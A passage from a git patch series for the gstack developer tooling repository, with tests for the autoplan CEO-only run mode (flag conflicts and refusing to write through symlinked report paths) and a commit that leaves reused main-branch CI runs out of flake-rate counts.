expect(close.stdout.trimEnd().split('\n').at(-1)).toBe(`GSTACK_RESULT: skill=autoplan status=reviewed run=${out}`); + expect(fs.existsSync(path.join(out, 'ceo-review.md'))).toBe(true); + expect(fs.existsSync(path.join(out, 'gate.json'))).toBe(false); + }); +}); + +describe('reviewed is a status at rest for checkpoints', () => { + test('resume on a reviewed run publishes a reviewed generation', () => { + const root = path.join(dir('ckpt'), 'drive'); + const out = startSmallRun(dir('ckpt'), ['--ceo-only']); + runPhase(out, 'ceo'); + expect(readRun(out).status).toBe('reviewed'); + const resumed = autoplan(['resume', '--out', out], { env: env({ GSTACK_AUTOPLAN_CHECKPOINT_DIR: root }) }); + expect(resumed.stderr).toContain('status=reviewed'); + const current = JSON.parse(fs.readFileSync(path.join(root, readRun(out).run, 'current.json'), 'utf8')); + expect(current.status).toBe('reviewed'); + }); +}); + +describe('--ceo-only is a command-line flag for one run', () => { + const plan = (name: string, text = SMALL_PLAN) => { fs.mkdirSync(dir(name), { recursive: true }); const f = path.join(dir(name), 'plan.md'); fs.writeFileSync(f, text); return f; }; + + test('a phase-adding flag beside it refuses before anything is written', () => { + for (const flag of ['--ui', '--developer-tool', '--agent-primary']) { + const out = path.join(dir(`conflict${flag}`), 'run'); + const r = autoplan(['next', '--out', out, '--plan', plan(`conflict${flag}`), '--ceo-only', flag]); + expect(r.status, flag).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)'); + expect(fs.existsSync(path.join(out, 'run.json'))).toBe(false); + } + }); + + test('a scope marker naming it refuses, with or without the flag', () => { + const marked = plan('marker', `\n${SMALL_PLAN}`); + for (const extra of [[], ['--ceo-only']]) { + const r = autoplan(['next', '--out', path.join(dir('marker'), `run${extra.length}`), '--plan', marked, ...extra]); + expect(r.status).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)'); + } + }); + + test('a scope marker that adds a phase conflicts with the flag', () => { + for (const token of ['--ui', '--developer-tool', '--agent-primary']) { + const marked = plan(`marker${token}`, ` +${SMALL_PLAN}`); + const out = path.join(dir(`marker${token}`), 'run'); + const r = autoplan(['next', '--out', out, '--plan', marked, '--ceo-only']); + expect(r.status, token).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)'); + expect(fs.existsSync(path.join(out, 'run.json'))).toBe(false); + } + }); + + test('a directory that holds a full run refuses it after init', () => { + const out = startSmallRun(dir('full')); + const r = autoplan(['next', '--out', out, '--ceo-only']); + expect(r.status).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_AFTER_INIT)'); + expect(readRun(out).ceo_only).toBeUndefined(); + expect(readRun(out).phase_order).toContain('eng'); + }); +}); + +describe('the CEO-only finish records no answer nobody gave and writes only its own report', () => { + test('a Critical left open by close --deferred stays undecided: no chosen option, listed as needing the owner', () => { + const out = startSmallRun(dir('blocker'), ['--ceo-only']); + const r = review(path.join(out, 'ceo-native-prompt.md'), { FIXTURE_FINDINGS: JSON.stringify([{ severity: 'Critical', title: 'Retries can double-charge', fix: 'idempotency key' }]) }); + expect(r.status, r.stderr).toBe(0); + const ids = attemptsOf(out, 'ceo'); + const bound = autoplan(['submit', '--out', out, '--phase', 'ceo', '--voice', 'native', '--result', resultOf(out, 'ceo', 'native'), '--model', 'anthropic/claude-opus-5-5', '--attempt', ids.native, '--runner', 'host-subagent']); + expect(bound.status, bound.stderr).toBe(0); + const close = autoplan(['close', '--out', out, '--phase', 'ceo', '--deferred', 'owner stop', '--by', 'human']); + expect(close.status, close.stderr).toBe(0); + expect(close.stdout).toContain('REVIEWED: ceo-only'); + const blocker = rows(path.join(out, 'decisions.jsonl')).find(d => d.title.includes('Retries can double-charge')); + expect(blocker).toMatchObject({ kind: 'auto', status: 'auto_kept', chosen: null, default_if_unanswered: null }); + const report = fs.readFileSync(path.join(out, 'ceo-review.md'), 'utf8'); + expect(report).not.toContain('you accept the risk'); + expect(report).toMatch(/Retries can double-charge.*left open for the owner/); + }); + + test('a plan at the report path refuses before anything is written', () => { + const out = path.join(dir('collide'), 'run'); + fs.mkdirSync(out, { recursive: true }); + const plan = path.join(out, 'ceo-review.md'); + fs.writeFileSync(plan, SMALL_PLAN); + const r = autoplan(['next', '--out', out, '--plan', plan, '--no-ui', '--ceo-only']); + expect(r.status).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)'); + expect(fs.existsSync(path.join(out, 'run.json'))).toBe(false); + expect(fs.readFileSync(plan, 'utf8')).toBe(SMALL_PLAN); + }); + + test('a plan that reaches the report path through a symlink, or through a symlinked --out, refuses too', () => { + const real = path.join(dir('alias'), 'real-run'); + fs.mkdirSync(real, { recursive: true }); + const report = path.join(real, 'ceo-review.md'); + fs.writeFileSync(report, SMALL_PLAN); + const link = path.join(dir('alias'), 'input.md'); + fs.symlinkSync(report, link); + const linkedOut = path.join(dir('alias'), 'linked-run'); + fs.symlinkSync(real, linkedOut); + for (const [plan, out] of [[link, real], [report, linkedOut]]) { + const r = autoplan(['next', '--out', out!, '--plan', plan!, '--no-ui', '--ceo-only']); + expect(r.status, plan).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)'); + expect(fs.existsSync(path.join(real, 'run.json'))).toBe(false); + } + expect(fs.readFileSync(report, 'utf8')).toBe(SMALL_PLAN); + }); + + test('a run whose plan entry is the report file refuses at the finish and leaves it intact', () => { + const out = startSmallRun(dir('same-entry'), ['--ceo-only']); + const report = path.join(out, 'ceo-review.md'); + fs.writeFileSync(report, SMALL_PLAN); + const run = readRun(out); + fs.writeFileSync(path.join(out, 'run.json'), JSON.stringify({ ...run, plan_input: report }, null, 2) + '\n'); + const submit = runPhase(out, 'ceo').outside; + expect(submit.status).toBe(3); + expect(submit.stderr).toContain('(CEO_ONLY_CONFLICT)'); + expect(fs.readFileSync(report, 'utf8')).toBe(SMALL_PLAN); + expect(readRun(out).status).not.toBe('reviewed'); + }); + + test('a plan hard-linked to the report path finishes: the rename replaces the link, never the plan', () => { + const out = startSmallRun(dir('hardlink'), ['--ceo-only']); + const plan = path.join(dir('hardlink'), 'plan.md'); + fs.linkSync(plan, path.join(out, 'ceo-review.md')); + runPhase(out, 'ceo'); + expect(readRun(out).status).toBe('reviewed'); + expect(fs.readFileSync(plan, 'utf8')).toBe(SMALL_PLAN); + }); + + test('a --plan given as a symlink at the report path refuses', () => { + const out = path.join(dir('report-link'), 'run'); + fs.mkdirSync(out, { recursive: true }); + const plan = path.join(dir('report-link'), 'plan.md'); + fs.writeFileSync(plan, SMALL_PLAN); + fs.symlinkSync(plan, path.join(out, 'ceo-review.md')); + const r = autoplan(['next', '--out', out, '--plan', path.join(out, 'ceo-review.md'), '--no-ui', '--ceo-only']); + expect(r.status).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)'); + }); + + test('a symlink at the report path is replaced, never written through', () => { + const out = startSmallRun(dir('symlink'), ['--ceo-only']); + const victim = path.join(dir('symlink'), 'victim.txt'); + fs.writeFileSync(victim, 'keep me'); + fs.symlinkSync(victim, path.join(out, 'ceo-review.md')); + runPhase(out, 'ceo'); + expect(readRun(out).status).toBe('reviewed'); + expect(fs.readFileSync(victim, 'utf8')).toBe('keep me'); + expect(fs.lstatSync(path.join(out, 'ceo-review.md')).isSymbolicLink()).toBe(false); + }); +}); + diff --git a/test/fixtures/module-size-ratchet.json b/test/fixtures/module-size-ratchet.json index 74e49bbc7..babd4367e 100644 --- a/test/fixtures/module-size-ratchet.json +++ b/test/fixtures/module-size-ratchet.json @@ -105,6 +105,7 @@ { "file": "lib/result-codes-budget.ts", "movedFrom": "lib/result-codes.ts (the /ship token budget and handoff rows; GSTA-152)" }, { "file": "lib/result-codes-eval.ts", "movedFrom": "lib/result-codes.ts (the /eval-plan preregistration rows and the no-gstack arm; GSTA-168)" }, { "file": "lib/result-codes-plan.ts", "movedFrom": "lib/result-codes.ts (the plan-review fact-check and task-list rows: REALITY receipts, the office-hours probe, gstack-tasks; GSTA-228)" }, + { "file": "lib/result-codes-autoplan.ts", "movedFrom": "lib/result-codes.ts (the CEO-only driver run rows; GST-537)" }, { "file": "lib/ship-budget.ts", "movedFrom": "(new: /ship token budget ledger, meters and admission, GSTA-152)" }, { "file": "lib/ship-budget-cli.ts", "movedFrom": "(new: bin/gstack-ship-budget start/check/settle/close/resume, GSTA-152)" }, { "file": "lib/ship-handoff.ts", "movedFrom": "(new: /ship fresh-context handoff, verify, return and reconcile, GSTA-152)" }, @@ -127,6 +128,7 @@ { "file": "lib/autoplan-state.ts", "movedFrom": "(new: the unattended runner's on-disk state, journal and locked writes, B2)" }, { "file": "lib/autoplan-run.ts", "movedFrom": "(new: next/submit/resume over lib/autoplan-state.ts, B2)" }, { "file": "lib/autoplan-gate.ts", "movedFrom": "(new: phase close, gate build, answer and reopen, B2/B9)" }, + { "file": "lib/autoplan-ceo-only.ts", "movedFrom": "(new: the CEO-only driver run's finish, report and refusals, GST-537)" }, { "file": "lib/autoplan-export.ts", "movedFrom": "(new: the unattended export file set, B2/B12)" }, { "file": "lib/spec-review-cap.ts", "movedFrom": "(new: the spec-review loop at the cap: numbered gaps and deterministic fix verification, B8)" }, { "file": "bin/gstack-autoplan", "movedFrom": "(new: thin entrypoint over lib/autoplan-run.ts, B2)" }, diff --git a/test/helpers/doctor-fixture.ts b/test/helpers/doctor-fixture.ts index 24d7b00b2..13efda5e9 100644 --- a/test/helpers/doctor-fixture.ts +++ b/test/helpers/doctor-fixture.ts @@ -23,7 +23,7 @@ const COPIED = [ 'autoplan/SKILL.md', // its frontmatter registers the autoplan hook the hooks-row test breaks 'bin/gstack-launch-probe.sh', 'bin/gstack-doctor-check.sh', 'bin/gstack-doctor-components.sh', 'bin/gstack-runtime-pins.ts', 'lib/runtime-pins.ts', - 'bin/gstack-windows-bash.ts', 'lib/script-invocation.ts', 'lib/bun-isolation.ts', 'lib/result-codes.ts', 'lib/result-codes-release.ts', 'lib/result-codes-capy.ts', 'lib/result-codes-budget.ts', 'lib/result-codes-eval.ts', 'lib/result-codes-plan.ts', // the windows bash row + 'bin/gstack-windows-bash.ts', 'lib/script-invocation.ts', 'lib/bun-isolation.ts', 'lib/result-codes.ts', 'lib/result-codes-release.ts', 'lib/result-codes-capy.ts', 'lib/result-codes-budget.ts', 'lib/result-codes-eval.ts', 'lib/result-codes-plan.ts', 'lib/result-codes-autoplan.ts', // the windows bash row ]; const bases: string[] = []; /** Registers the per-test fixture cleanup; each test file calls it at top level (a hook in this module would bind to the first importing file only). */ diff --git a/test/plan-tune-cathedral.test.ts b/test/plan-tune-cathedral.test.ts index adf184d84..1291c94c8 100644 --- a/test/plan-tune-cathedral.test.ts +++ b/test/plan-tune-cathedral.test.ts @@ -70,7 +70,7 @@ function scaffoldFixture(workDir: string): { workDir: string; stateRoot: string; // These imports are resolved relative to the copied install, not the source checkout. const libDir = path.join(workDir, 'lib'); fs.mkdirSync(libDir, { recursive: true }); - for (const file of ['jsonl-store.ts', 'is-conductor.ts', 'state-root.ts', 'bin-context.ts', 'remote-identity.ts', 'script-invocation.ts', 'bun-isolation.ts', 'result-codes.ts', 'result-codes-release.ts', 'result-codes-capy.ts', 'result-codes-budget.ts', 'result-codes-eval.ts', 'result-codes-plan.ts']) { + for (const file of ['jsonl-store.ts', 'is-conductor.ts', 'state-root.ts', 'bin-context.ts', 'remote-identity.ts', 'script-invocation.ts', 'bun-isolation.ts', 'result-codes.ts', 'result-codes-release.ts', 'result-codes-capy.ts', 'result-codes-budget.ts', 'result-codes-eval.ts', 'result-codes-plan.ts', 'result-codes-autoplan.ts']) { fs.copyFileSync(path.join(ROOT, 'lib', file), path.join(libDir, file)); } diff --git a/test/timeline-stop-hook-slug.test.ts b/test/timeline-stop-hook-slug.test.ts index 7a85dc6dc..379e4d16c 100644 --- a/test/timeline-stop-hook-slug.test.ts +++ b/test/timeline-stop-hook-slug.test.ts @@ -35,6 +35,7 @@ const HOOK_FILES = [ 'lib/result-codes-budget.ts', 'lib/result-codes-eval.ts', 'lib/result-codes-plan.ts', + 'lib/result-codes-autoplan.ts', ]; const SLUG = 'stop-hook-slug-test'; const BUDGET_MS = 2000; From d7154dba1332c15a2dbd95aeca22a424a7e0a82a Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Sun, 1 Nov 2026 21:24:30 -0800 Subject: [PATCH 3/7] test:health and factory scorecard: leave reused main pushes out of free-suite flake counts (#3725) (#3822) A main push that reused its merged PR's verified run (#3709) runs no shards and uploads nothing, so both readers counted it as a zero-flake run and diluted real flake rates under the 5% bar. reuseChecker (scripts/lib/ci-history.ts) marks a run with no artifacts and a green reuse job; readCiFlakeLedgers leaves it out and refills the window, readFreeRetries leaves it out of the free-retry count. One capped job listing per artifact-less run (40 per read); past the cap or on a failed listing the run counts as before, with a note. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- CHANGELOG.md | 12 ++++ VERSION | 2 +- agents-digest/gstack-AGENTS.md | 2 +- docs/TESTING_INTERNALS.md | 8 ++- docs/recommended-harness.md | 2 +- lib/factory-scorecard.ts | 44 ++++++++++----- package.json | 2 +- scripts/lib/ci-history.ts | 55 ++++++++++++++++--- scripts/test-health-report.ts | 16 ++++-- test/factory-scorecard.test.ts | 18 ++++++ test/fixtures/factory-scorecard/recorded.json | 6 ++ test/test-health-report.test.ts | 52 +++++++++++++++++- 12 files changed, 186 insertions(+), 33 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e6017509e..285dcc834 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## [1.92.59.0] - 2026-11-02 + +**`test:health` and the factory scorecard leave reused main pushes out of their free-suite flake counts (#3725).** Since #3709, a main push whose merged pull request already passed on the same tree reuses that run. It finishes green, runs no shards and uploads nothing, so both readers counted it as a run with zero flakes. As reuse grows, that pulls real flake rates under the 5% bar, and `bun run test:health --enforce` stops flagging files without any error. + +### Fixed +- **One rule for both readers** (`reuseChecker` in `scripts/lib/ci-history.ts`). A run with no artifacts and a green `reuse` job is a reused main push. `readCiFlakeLedgers` leaves it out of the window and its denominator and fills the window with older runs, so it still holds 20 runs that ran their shards. `readFreeRetries` in `lib/factory-scorecard.ts` leaves it out of the free-retry count. Both reports name how many runs they left out. +- **Bounded and visible.** A run with any artifact costs no extra call. A run with none costs one job listing, at most 40 per read. Past that cap, or when a listing fails, the run counts as it did before and the report says so. + +### Tests +- `test/test-health-report.test.ts`: reused runs among real flaky runs (2 flaky of 20 real runs, with 30 reused) failed on the old code with 2/45 = 4.4%, which passed the 5% bar; now 2/20 = 10% fails it. The lookup cap and a failed lookup both count the run as before, and the report says so. +- `test/factory-scorecard.test.ts`: two reused runs in the window failed on the old code ("in 1 of 5 runs"); now the free-retry line matches the real runs only ("in 1 of 3 runs") and names the 2 runs it left out. + ## [1.92.58.0] - 2026-11-02 **A parent agent can now run the CEO-only review through the driver: `gstack-autoplan next --ceo-only` (GST-537).** `/autoplan --ceo-only` only worked inside a Claude Code session, so a crew or eval harness driving `gstack-autoplan` from another host had to run the whole review and stop at the approval gate. Now the same review-only run works from the driver on any host. diff --git a/VERSION b/VERSION index 0922d3b4f..274d8da36 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.92.58.0 +1.92.59.0 diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.md index 2e1a5e229..0dc640d04 100644 --- a/agents-digest/gstack-AGENTS.md +++ b/agents-digest/gstack-AGENTS.md @@ -1,4 +1,4 @@ -# gstack digest v1.92.58.0 — regenerate/re-copy after upgrading gstack +# gstack digest v1.92.59.0 — regenerate/re-copy after upgrading gstack Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed for agent hosts without a full skill install. The full skills add workflows, diff --git a/docs/TESTING_INTERNALS.md b/docs/TESTING_INTERNALS.md index 8c913e020..ca7c3002c 100644 --- a/docs/TESTING_INTERNALS.md +++ b/docs/TESTING_INTERNALS.md @@ -1450,7 +1450,13 @@ Monday "Weekly test health" workflow (`bun run test:health --enforce`) reads main's ledgers through `scripts/lib/ci-history.ts` and fails when a file flakes in more than 5% of main free-tests runs over a window of at least 20 runs; a window thinner than 20 runs in the last 7 days widens to the newest 20 runs, and -fewer than 20 runs is report-only. `bun run test:health flake-summary

` +fewer than 20 runs is report-only. A main push that reused its pull request's +run ([CI reuse](pregate.md#ci-reuse)) ran no shards, so it stays out of the +window and its denominator, and older runs take its place. Such a run has no +artifacts and a green `reuse` job; checking that costs one job listing per +run with no artifacts, at most 40 per read. Past that cap, or when a listing +fails, the run counts as before and the report says so. +`bun run test:health flake-summary ` prints a run's ledgers as a table. A flaky file is fixed at source; the retry never masks it. `bun run eval:pass-rates` lists only the local ledger (`flakeLedgerPath()`, overridden by `GSTACK_FLAKE_LEDGER`). diff --git a/docs/recommended-harness.md b/docs/recommended-harness.md index 9e16984c3..6da4b14c2 100644 --- a/docs/recommended-harness.md +++ b/docs/recommended-harness.md @@ -284,7 +284,7 @@ measured later does not count anything that happened after that week. | Gate runs green / red / cancelled | completed runs of the gate workflow (`workflow_dispatch` by default; `--gate-event any`); cost from the run's `report-verdict-a*` artifact (`collector-outcomes.json` `.verdict.costUsd`), else the `**$N** rule/judge cost` or `cost=$N` line of the PR's verdict comment | green on 95%+ of runs, cancelled near 0, cost known for every run | | Known gate cost per merged PR | known cost / merged PRs; unknown-cost runs make it a floor | known, stable or falling week over week | | Red-train rate | runs whose head branch starts with `--train-prefix`, cancelled excluded; red = conclusion other than success; red backstops and screens shown beside it | under 5% (each red train is a bisect plus a rebuild, about two gates) | -| Flaky events | `flake-records-a*` records of the newest gate runs (count, known rerun spend) and `flake-ledger-*` entries of free runs on the default branch; a run whose artifacts cannot be read is counted and named, never scored 0 | 0 repeat cases; under 1 flaky case per 10 gates; free retries under 1% of runs | +| Flaky events | `flake-records-a*` records of the newest gate runs (count, known rerun spend) and `flake-ledger-*` entries of free runs on the default branch; a run whose artifacts cannot be read is counted and named, never scored 0, and a main push that reused its pull request's run (no artifacts, `reuse` job green) is left out and named | 0 repeat cases; under 1 flaky case per 10 gates; free retries under 1% of runs | | Issues opened / closed | GitHub search, created and closed in the window | closed ≥ opened; nothing severe older than a week | | Releases cut | releases published in the window, drafts excluded | at least one tagged release a week, on schedule | diff --git a/lib/factory-scorecard.ts b/lib/factory-scorecard.ts index deb64a92d..ebaac4c48 100644 --- a/lib/factory-scorecard.ts +++ b/lib/factory-scorecard.ts @@ -25,7 +25,8 @@ * flaky events flake-records-a artifacts of gate runs (paid, one record per case * that failed once and passed its one rerun) and flake-ledger-* artifacts * of runs on (free-suite serial retries); the same - * two sources the daily flaky pass reads + * two sources the daily flaky pass reads; a main push that reused its PR's + * run (no artifacts, `reuse` job green; reuseChecker) is left out * issues search/issues created / closed inside the window * releases releases published inside the window (drafts excluded) * @@ -36,13 +37,13 @@ import * as fs from 'node:fs'; import * as os from 'node:os'; import * as path from 'node:path'; import { - GH_CLIENT, createdFilter, downloadRunArtifacts, filesUnder, historyFetcher, listWorkflowRuns, readFlakeLedgerDir, unavailableReason, + GH_CLIENT, createdFilter, downloadRunArtifacts, filesUnder, historyFetcher, listWorkflowRuns, readFlakeLedgerDir, reuseChecker, unavailableReason, type GhClient, } from '../scripts/lib/ci-history'; export interface ScorecardSource { getJson(apiPath: string): unknown; - /** Downloaded, unzipped artifact directories of one run whose names match, keyed by artifact name; one listing per call. */ + /** Downloaded, unzipped artifact directories of one run whose names match, keyed by artifact name; one listing per call, and `match` sees every name in it. */ artifactDirs(runId: number, match: (name: string) => boolean): Map; } @@ -93,6 +94,8 @@ export interface FreeRetryRun { id: number; conclusion: string | null; retries: export interface Scorecard { repo: string; base: string; windowStart: string; windowEnd: string; prs: MergedPr[]; gates: GateRun[]; freeRuns: FreeRetryRun[]; artifactRunsRead: number; passCap: number; + /** Reused main pushes left out of freeRuns (reuseChecker), and the note naming runs it could not check. */ + freeRunsSkipped: number; freeRunsNote: string | null; /** Gate runs whose artifacts could not be read; they count without cost or flake data. */ artifactErrors: number; issuesOpened: number | null; issuesClosed: number | null; releases: Array<{ tag: string; publishedAt: string }>; @@ -308,14 +311,29 @@ export function readGateRuns(source: ScorecardSource, o: ScorecardOptions, w: Sc return { gates, artifactRunsRead, artifactErrors }; } -/** Free-suite runs on base in the window and the flaky-pass entries their flake-ledger-* artifacts hold. */ -export function readFreeRetries(source: ScorecardSource, o: ScorecardOptions, w: ScoreWindow): FreeRetryRun[] { +/** + * Free-suite runs on base in the window and the flaky-pass entries their + * flake-ledger-* artifacts hold. A read run that reused its pull request's run + * (reuseChecker) is left out and counted in freeRunsSkipped; an unreadable run + * and a run past maxArtifactRuns are kept, as before. + */ +export function readFreeRetries(source: ScorecardSource, o: ScorecardOptions, w: ScoreWindow): Pick { const client: GhClient = { getJson: p => source.getJson(p), downloadZip: () => { throw new Error('not used'); } }; const runs = listWorkflowRuns(client, o.repo, o.freeWorkflow, { since: w.start, until: w.end, branch: o.base }); - const retries = (runId: number): number | null => { - try { return [...source.artifactDirs(runId, name => name.startsWith('flake-ledger-')).values()].flatMap(readFlakeLedgerDir).length; } catch { return null; } - }; - return runs.map((run, index) => ({ id: run.id, conclusion: run.conclusion, retries: index < o.maxArtifactRuns ? retries(run.id) : 0 })); + const reuse = reuseChecker(client, o.repo); + const freeRuns: FreeRetryRun[] = []; + let freeRunsSkipped = 0; + runs.forEach((run, index) => { + if (index >= o.maxArtifactRuns) { freeRuns.push({ id: run.id, conclusion: run.conclusion, retries: 0 }); return; } + const names: string[] = []; + let retries: number | null; + try { + retries = [...source.artifactDirs(run.id, name => { names.push(name); return name.startsWith('flake-ledger-'); }).values()].flatMap(readFlakeLedgerDir).length; + } catch { retries = null; } + if (retries !== null && reuse.reused(run, names)) { freeRunsSkipped++; return; } + freeRuns.push({ id: run.id, conclusion: run.conclusion, retries }); + }); + return { freeRuns, freeRunsSkipped, freeRunsNote: reuse.note() ?? null }; } function searchCount(source: ScorecardSource, q: string): number | null { @@ -340,14 +358,14 @@ export function readReleases(source: ScorecardSource, repo: string, w: ScoreWind export function collectScorecard(source: ScorecardSource, o: ScorecardOptions): Scorecard { const w = scoreWindow(o); const card: Scorecard = { repo: o.repo, base: o.base, windowStart: w.start, windowEnd: w.end, - prs: [], gates: [], freeRuns: [], artifactRunsRead: 0, passCap: o.passCap, artifactErrors: 0, issuesOpened: null, issuesClosed: null, releases: [], unavailable: [] }; + prs: [], gates: [], freeRuns: [], freeRunsSkipped: 0, freeRunsNote: null, artifactRunsRead: 0, passCap: o.passCap, artifactErrors: 0, issuesOpened: null, issuesClosed: null, releases: [], unavailable: [] }; const guard = (what: string, fn: () => void) => { try { fn(); } catch (e) { card.unavailable.push(`${what}: ${unavailableReason(e)}`); } }; guard('merged PRs', () => { card.prs = readMergedPrs(source, o, w); }); guard('gate runs', () => { const prCost = new Map(card.prs.filter(p => p.commentCostUsd !== null).map(p => [p.number, p.commentCostUsd!] as const)); Object.assign(card, readGateRuns(source, o, w, prCost)); }); - guard('free retries', () => { card.freeRuns = readFreeRetries(source, o, w); }); + guard('free retries', () => { Object.assign(card, readFreeRetries(source, o, w)); }); guard('issues', () => { card.issuesOpened = searchCount(source, `repo:${o.repo} is:issue created:${searchRange(w)}`); card.issuesClosed = searchCount(source, `repo:${o.repo} is:issue closed:${searchRange(w)}`); @@ -412,7 +430,7 @@ export function scorecardRows(card: Scorecard): ScorecardRow[] { return { id, metric, value: failed ? unavailableText(failed) : value(), benchmark: BENCHMARKS[id]!, rule }; }; const paidFlakes = () => `${flakes} paid case(s) passed on their one rerun (rerun spend ${usd(flakeUsd)})${card.artifactErrors ? `; artifacts unreadable on ${card.artifactErrors} run(s)` : ''}`; - const freeRetries = () => `${retries} free-suite retr${retries === 1 ? 'y' : 'ies'} in ${retryRuns} of ${card.freeRuns.length} runs${unreadableFree ? ` (${unreadableFree} unreadable)` : ''}`; + const freeRetries = () => `${retries} free-suite retr${retries === 1 ? 'y' : 'ies'} in ${retryRuns} of ${card.freeRuns.length} runs${unreadableFree ? ` (${unreadableFree} unreadable)` : ''}${card.freeRunsSkipped ? `; ${card.freeRunsSkipped} reused main push(es) left out` : ''}${card.freeRunsNote ? `; ${card.freeRunsNote}` : ''}`; return [ row('merged', 'Merged PRs', 'merged PRs', () => `${card.prs.length} (crew ${crewPrs.length}, outside ${card.prs.length - crewPrs.length})`, `merged_at inside the window, base ${card.base}; crew by login list or author_association OWNER/MEMBER/COLLABORATOR`), @@ -429,7 +447,7 @@ export function scorecardRows(card: Scorecard): ScorecardRow[] { row('red_train', 'Red-train rate', 'gate runs', () => `${pct(trains.filter(t => t.outcome === 'red').length, trains.length)} (${trains.filter(t => t.outcome === 'red').length} red of ${trains.length} trains; ${by('red', 'backstop')} red backstop, ${by('red', 'screen')} red screens)`, `runs whose head branch starts with the train prefix, cancelled runs excluded; red means the run's conclusion was not success`), row('flaky', 'Flaky events', [], () => `${unavailable('gate runs') ? unavailableText('gate runs') : paidFlakes()}; ${unavailable('free retries') ? unavailableText('free retries') : freeRetries()}`, - `flake-records artifacts of the newest ${card.artifactRunsRead} gate runs and flake-ledger artifacts of free runs on the base branch`), + `flake-records artifacts of the newest ${card.artifactRunsRead} gate runs and flake-ledger artifacts of free runs on the base branch, reused main pushes left out`), row('issues', 'Issues opened / closed', 'issues', () => `${card.issuesOpened ?? 'n/a'} / ${card.issuesClosed ?? 'n/a'}`, 'GitHub search: created, closed inside the window'), row('releases', 'Releases cut', 'releases', () => `${card.releases.length}${card.releases.length ? ` (${card.releases.map(r => r.tag).join(', ')})` : ''}`, 'releases published inside the window, drafts excluded'), ]; diff --git a/package.json b/package.json index dbf39a65b..af7acc9c6 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "gstack", - "version": "1.92.58", + "version": "1.92.59", "description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.", "license": "MIT", "type": "module", diff --git a/scripts/lib/ci-history.ts b/scripts/lib/ci-history.ts index a7fe9833e..3ea51b75c 100644 --- a/scripts/lib/ci-history.ts +++ b/scripts/lib/ci-history.ts @@ -259,7 +259,38 @@ export function readFlakeLedgerDir(dir: string): FlakeLedgerEntry[] { export const FLAKE_POLICY = { maxRate: 0.05, minRuns: 20 } as const; export interface FlakyFile { file: string; flakyRuns: number; entries: number; rate: number; enforced: boolean; failing: boolean } -export interface FlakeWindow { runs: number; flakyRuns: number; since: string; files: FlakyFile[]; enforceable: boolean } +/** `skipped`: reused main pushes left out of the window (reuseChecker); `note`: runs that could not be checked. */ +export interface FlakeWindow { runs: number; flakyRuns: number; since: string; files: FlakyFile[]; enforceable: boolean; skipped?: number; note?: string } + +/** The most job listings one reuseChecker spends. */ +export const REUSE_LOOKUPS_MAX = 40; + +/** + * Finds runs that reused their merged pull request's verified run (#3709): such + * a run uploads no artifact and its `reuse` job succeeds, because every suite + * job was skipped. It holds no flake evidence, so flake counts leave it out of + * their runs and their denominator (#3725). A run with any artifact costs no + * call. A run with none costs one job listing, at most REUSE_LOOKUPS_MAX per + * checker; past the cap, or when the listing fails, the run counts as it did + * before #3725 and note() says so. + */ +export function reuseChecker(client: GhClient, repo: string) { + let lookups = 0; + let unchecked = 0; + let reason = ''; + return { + reused(run: Pick, artifactNames: string[]): boolean { + if (artifactNames.length) return false; + if (lookups >= REUSE_LOOKUPS_MAX) { unchecked++; reason ||= `cap of ${REUSE_LOOKUPS_MAX} job listings reached`; return false; } + lookups++; + try { + return listRunJobs(client, repo, run.id, run.attempt).some(job => job.name === 'reuse' && job.conclusion === 'success'); + } catch (error) { unchecked++; reason ||= unavailableReason(error); return false; } + }, + note: (): string | undefined => (unchecked + ? `${unchecked} run(s) with no artifacts not checked for main-push reuse (${reason}); counted as before #3725` : undefined), + }; +} /** * Rank files by the share of runs in which they needed the retry pass. A file @@ -286,9 +317,10 @@ export function rankFlakyFiles(runEntries: Map, runC /** * Read the flake ledgers of main's completed free-tests runs: the runs created * in the last `sinceDays`, widened to the newest `minRuns` runs (within - * `maxLookbackDays`) so the 5% rule has a window of at least 20 runs. A run - * with no `flake-ledger-*` artifact had no flaky passes (the upload is skipped - * when the ledger file does not exist). + * `maxLookbackDays`) so the 5% rule has a window of at least 20 runs. Reused + * main pushes (reuseChecker) are left out and older runs take their place. A + * run with no `flake-ledger-*` artifact had no flaky passes (the upload is + * skipped when the ledger file does not exist). */ export function readCiFlakeLedgers(opts: { client: GhClient; repo: string; sinceDays: number; now: number; cacheDir: string; minRuns?: number; maxLookbackDays?: number; workflow?: string }): FlakeWindow { @@ -297,16 +329,25 @@ export function readCiFlakeLedgers(opts: { client: GhClient; repo: string; since const all = listWorkflowRuns(opts.client, opts.repo, opts.workflow ?? 'free-tests.yml', { since: iso(Math.max(opts.sinceDays, opts.maxLookbackDays ?? 60)), branch: 'main' }) .filter(run => run.conclusion === 'success' || run.conclusion === 'failure'); - const recent = all.filter(run => run.createdAt >= iso(opts.sinceDays)); - const window = recent.length >= minRuns ? recent : all.slice(0, minRuns); + const since = iso(opts.sinceDays); + const recent = all.filter(run => run.createdAt >= since).length; const fetcher = historyFetcher(opts.client); + const reuse = reuseChecker(opts.client, opts.repo); + const window: CiRun[] = []; + let skipped = 0; + for (const [index, run] of all.entries()) { + if (index >= recent && window.length >= minRuns) break; + if (reuse.reused(run, fetcher.listArtifacts(opts.repo, run.id).map(artifact => artifact.name))) skipped++; + else window.push(run); + } const runEntries = new Map(); for (const run of window) { const dirs = downloadRunArtifacts({ repo: opts.repo, run, cacheDir: opts.cacheDir, fetcher, match: name => name.startsWith('flake-ledger-') }); const entries = dirs.flatMap(readFlakeLedgerDir); if (entries.length) 